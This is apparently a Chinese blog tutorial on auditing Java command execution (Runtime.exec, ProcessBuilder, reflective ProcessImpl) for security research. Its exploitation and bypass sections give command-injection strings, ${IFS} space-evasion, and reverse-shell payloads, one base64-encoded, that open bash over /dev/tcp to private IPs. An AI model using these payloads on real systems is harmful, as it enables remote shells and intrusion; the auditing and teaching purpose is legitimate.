参考文章

  1. 个人博客-实战中关于Runtime反弹shell的Bypass
  2. freebuf-Java代码审计之命令执行漏洞详解

命令执行

Java中执行系统命令主要通过java.lang.Runtime类的exec方法实现, 允许Java程序与底层操作系统交互

public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");
}

这是一段能打开计算器的程序, 这里的命令执行并非直接使用系统中的bash或cmd, 而是由Java本身实现的, 这也导致了一些特定的行为和限制, 在代码审计部分会提到

Runtime.exec方法

Runtime类提供了多个exec方法重载,用于不同的执行场景

//在单独的进程中执行指定的字符串命令 
public Process exec(String command)
//在单独的进程中执行指定的命令和参数
public Process exec(String[] cmdarray)
//在具有指定环境的单独进程中执行指定的命令和参数
public Process exec(String[] cmdarray, String[] envp)
//在具有指定环境和工作目录的单独进程中执行指定的命令和参数
public Process exec(String[] cmdarray, String[] envp, File dir)
//在具有指定环境的单独进程中执行指定的字符串命令
public Process exec(String command, String[] envp)
//在具有指定环境和工作目录的单独进程中执行指定的字符串命令
public Process exec(String command, String[] envp, File dir)

命令执行方式

Runtime.exec与ProcessBuilder

Runtime.exec的底层实现实际上是基于ProcessBuilder类的

使用Runtime.getRuntime().exec方法这个方式进行命令执行的最终会来到ProcessBuilder#start方法中进行命令执行

每个ProcessBuilder实例管理进程属性的集合,start()方法使用这些属性创建一个新的Process实例,并且可以从同一实例重复调用,以创建具有相同或相关属性的新子进程

Runtime.exec不同,ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入,这在一定程度上提供了更好的安全性

第三方库

除了Java原生的命令执行方式,还有一些第三方库提供了更加强大和安全的命令执行能力:

  1. Apache Commons Exec:提供了更健壮的API来处理命令行执行,能够更好地处理进程的输出和错误流,避免死锁,并提供异步执行和结果处理的能力
  2. ZT-Exec:提供了简洁的流式API,易于使用和理解,支持同步和异步执行,能够方便地处理命令的输出

代码审计

exec()和exec(String[])

exec()方法在执行命令的时候,传入的参数有字符串和字符串数组两种形参, 分别测试看有什么区别和寻找利用方式

// 核心就这两个, 如果不想手动操作就用文章最后的那个很长的java代码
private Process javaExec(String command) throws IOException {
Process process1 = Runtime.getRuntime().exec(command)
Process process2 = Runtime.getRuntime().exec(new String[]{"cmd", "/c", command})
}

直接下结论, 测试过程可以自己测试

getRuntime().exec()
无法执行部分命令, 且拼接命令会报错

getRuntime().exec(String[])
正常执行命令且可以正常用管道符拼接

getRuntime().exec()

对执行过程进行同动态调试, 去向均为exec(cmdarray, envp, dir), 查看该函数实现, 发现经过了StringTokenizer函数的处理

public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");

StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}

跟进处理, 发现对传入的命令进行格式化, 将传入的字符串str按照默认的空白分隔符进行分割;

String[] cmdarray = new String[st.countTokens()];的作用是创建一个字符串数组cmdarray,其长度等于StringTokenizer对象st中分割后的子字符串数量,最终命令变成了["calc&ping","baidu.com"]传入了exec(cmdarray, envp, dir)

/**
* Constructs a string tokenizer for the specified string. The
* tokenizer uses the default delimiter set, which is
* <code>"&nbsp;&#92;t&#92;n&#92;r&#92;f"</code>: the space character,
* the tab character, the newline character, the carriage-return character,
* and the form-feed character. Delimiter characters themselves will
* not be treated as tokens.
*
* @param str a string to be parsed.
* @exception NullPointerException if str is <CODE>null</CODE>
*/
public StringTokenizer(String str) {
this(str, " \t\n\r\f", false);
}

最终交给ProcessBuilder去执行,命令被错误的分割成["calc&ping", "baidu.com"],Java会尝试执行第一个参数calc&ping,视为可执行程序名,calc&ping不是一个有效程序,因此抛出IOException: Cannot run program "calc&ping"

getRuntime().exec(String[])

如果是exec(String[])呢, 最终命令是["cmd", "/c", "calc&ping", "baidu.com"], Java调用cmd.exe,并传递参数/c和后续参数calc&ping baidu.com

cmd.exe会将calc&ping baidu.com整体视为一个字符串,并按照 Shell 规则解析其中的&符号,将calc&ping baidu.com解析为两条命令,故而执行成功

exec和ProcessBuilder

结合前面的, 这两个去向均为exec(cmdarray, envp, dir), 在该函数实现处追踪return exec(cmdarray, envp, dir);的exec

public Process exec(String[] cmdarray, String[] envp, File dir)  
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}

来到了ProcessBuilder, 对其进行追踪

public ProcessBuilder(String... command) {  
this.command = new ArrayList<>(command.length);
for (String arg : command)
this.command.add(arg);
}

根据描述: The start() method creates a new Process instance with those attributes. 那就是来到了ProcessBuilder#start()

ProcessBuilder

ProcessBuilder命令执行漏洞的核心在于通过ProcessBuilder类直接构造并执行系统命令时,若未对用户输入参数进行严格过滤或拆分,攻击者可注入恶意命令实现任意代码执行

ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入

if"ProcessBuilder".equals(execType)){ 
Processprocess = newProcessBuilder("cmd","/c",command).start();
stdout = readStream(process.getInputStream());
stderr = readStream(process.getErrorStream());
process.waitFor();
}

直接将用户输入的参数传入到ProcessBuilder进行命令执行, 那拼接恶意命令就行了

ProcessImpl

跟进ProcessBuilder.start()方法,ProcessBuilder.start()是Java中启动外部进程的核心方法,其底层实现最终通过调用ProcessImpl.start()完成操作系统级别的进程创建

ProcessImpl是Java中Process抽象类的具体实现类 ,其设计目的是为ProcessBuilder.start()方法提供底层支持,用于创建和管理操作系统进程

但是它的构造函数被声明为private, 我们直接用反射的方式即可绕过

此处为大佬的代码, 我直接拿来用了, 详情见参考文章1

package org.example;  

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;

public class ProcessImplExamples {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
String[] cmdarray = new String[]{"cmd", "/c", "calc"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process p = (Process) method.invoke(null, cmdarray, null, null, null, false);
}
}

漏洞利用

exec(String)利用

exec(String)怎么去进行漏洞利用呢?可以利用Shell的解析逻辑实现命令注入,直接拼接cmd /c即可

cmd /c calc&ping baidu.com

ProcessBuilder利用

拼接即可

ping baidu.com & calc

ProcessImpl利用

拼接

ping&calc

限制与绕过技巧

执行环境限制

Runtime.exec执行外部命令的原理是fork一个单独的进程,然后直接执行这个命令。exec(String command)这个方法无法指定shell为命令上下文环境,因此它不识别|>等shell中的复杂命令

这就是为什么执行ls -l /optls -l /opt | grep tomcat两个命令输出结果可能完全一样—因为管道符|没有被识别

绕过方法

  1. 使用sh -c执行复杂命令:通过调用shell来执行包含管道、重定向等复杂操作的命令

  2. 编码方式绕过:使用Base64编码命令,然后解码执行

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODAwMCAwPiYx}|{base64,-d}|{bash,-i}");
  1. 特殊变量替代空格:使用${IFS}$IFS$9$IFS替代命令中的空格
Runtime.getRuntime().exec("/bin/bash${IFS}-c${IFS}bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.153.1/8000<&1");
  1. 使用参数数组形式:这是最推荐的绕过方式,既安全又有效
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"});

测试程序

搓了个很烂很烂的小程序用于测试, 它会将你的输入作为参数用两种方式进行执行

package org.example;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class JavaExecTest {

private static void javaExec(String command) throws IOException {
if (command == null || command.trim().isEmpty()) {
System.out.println("错误: 命令不能为空");
return;
}

System.out.println("\n执行命令: " + command);
System.out.println(repeatChar('=', 50));

// 方式一:字符串执行
System.out.println("\n方式一: 字符串执行");
System.out.println(repeatChar('-', 25));
try {
Process process1 = Runtime.getRuntime().exec(command);
printProcess(process1);
} catch (IOException e) {
System.out.println("方式一执行失败: " + e.getMessage());
}

// 方式二:字符串数组执行
System.out.println("\n方式二: 字符串数组执行");
System.out.println(repeatChar('-', 25));
try {
String[] cmdArray = new String[]{"cmd", "/c", command};

Process process2 = Runtime.getRuntime().exec(cmdArray);
printProcess(process2);
} catch (IOException e) {
System.out.println("方式二执行失败: " + e.getMessage());
}

System.out.println(repeatChar('=', 50));
}

private static void printProcess(Process process) {
try {
boolean hasOutput = false;
boolean hasError = false;

// 读取标准输出流
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;

while ((line = reader.readLine()) != null) {
if (!hasOutput) {
System.out.println("输出:");
hasOutput = true;
}
System.out.println(" " + line);
}

// 读取错误输出流
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));

while ((line = errorReader.readLine()) != null) {
if (!hasError) {
System.out.println("错误:");
hasError = true;
}
System.out.println(" " + line);
}

// 等待进程执行完成
int exitCode = process.waitFor();

if (exitCode == 0) {
System.out.println("执行成功 (退出码: " + exitCode + ")");
} else {
System.out.println("执行完成但有错误 (退出码: " + exitCode + ")");
}

// 如果没有输出也没有错误
if (!hasOutput && !hasError) {
System.out.println("命令执行完成,无输出内容");
}

} catch (IOException | InterruptedException e) {
System.out.println("读取命令输出时出错: " + e.getMessage());
}
}

// 辅助方法:生成重复字符的字符串
private static String repeatChar(char c, int count) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < count; i++) {
sb.append(c);
}
return sb.toString();
}

public static void main(String[] args) {
System.out.println("Java 命令执行测试程序");
System.out.println("支持两种执行方式比较");
System.out.println("输入 'exit' 退出程序");
System.out.println(repeatChar('*', 50));

try (BufferedReader consoleReader = new BufferedReader(new InputStreamReader(System.in))) {
String input;

while (true) {
System.out.print("\n请输入命令 > ");
input = consoleReader.readLine();

if (input == null) {
continue;
}

String trimmedInput = input.trim();

if (trimmedInput.isEmpty()) {
continue;
}

if ("exit".equalsIgnoreCase(trimmedInput)) {
System.out.println("\n程序退出,再见!");
break;
}

try {
javaExec(trimmedInput);
} catch (IOException e) {
System.out.println("执行命令失败: " + e.getMessage());
}
}
} catch (IOException e) {
System.out.println("读取输入时出错: " + e.getMessage());
}
}
}